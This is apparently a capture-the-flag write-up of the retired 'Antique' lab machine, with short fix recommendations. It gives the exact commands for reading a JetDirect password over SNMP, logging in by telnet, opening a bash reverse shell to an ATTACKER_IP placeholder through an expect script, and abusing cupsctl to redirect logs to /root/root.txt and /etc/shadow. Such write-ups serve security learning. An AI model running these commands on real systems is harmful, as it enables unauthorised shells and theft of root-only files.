Antique
Summary
The target ran an HP JetDirect printer management interface on telnet port 23 and an SNMP agent on UDP 161. Querying SNMP with the default '[REDACTED: recovered credential]' community string returned the telnet administrator password in hex-encoded form from a vendor-specific MIB object.
Decoding those hex bytes yielded the clear-text password [REDACTED: recovered credential], which authenticated I to the JetDirect CLI. That CLI's built-in 'exec' command passed arguments directly to the Linux shell as the 'lp' service account, establishing an interactive reverse shell.
From that foothold, the CUPS print service — running as root on localhost port 631 — was found to allow any user with cupsctl access to redirect its error log to an arbitrary file path. Pointing the log at /root/root.txt and fetching it through the CUPS web API read the root flag without a traditional exploit, giving me complete file-read access as root.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -sC -p 23 $TARGETnmap -Pn -sU -sV -p 161 $TARGETExact commands 2
snmpwalk -v1 -c [REDACTED: recovered credential] $TARGET .1.3.6.1.4.1.11.2.3.9.1.1.13.0echo '[REDACTED: recovered credential]' | tr ' ' '\n' | awk '{printf "%c", strtonum("0x"$0)}'FixDisable or harden SNMP to prevent credential leakageCritical
Exact commands 1
telnet $TARGET 23FixRemove the HP JetDirect telnet interface or block it at the firewallCritical
Exact commands 2
nc -lvnp 4444expect <<'EOF'
set timeout 8
log_user 1
spawn telnet $TARGET 23
expect "HP JetDirect"
send "\r"
expect "Password:"
send "[REDACTED: recovered credential]\r"
expect ">"
send "exec bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'\r"
expect eof
EOFExact commands 4
ss -tlnpcupsctl ErrorLog=/root/root.txtcurl -s http://localhost:631/admin/log/error_logcupsctl ErrorLog=/etc/shadowFixPatch CUPS and remove the lp account's ability to redirect log pathsHigh
Exposed services
| 23/tcp | telnet? |
| 161/udp | snmp |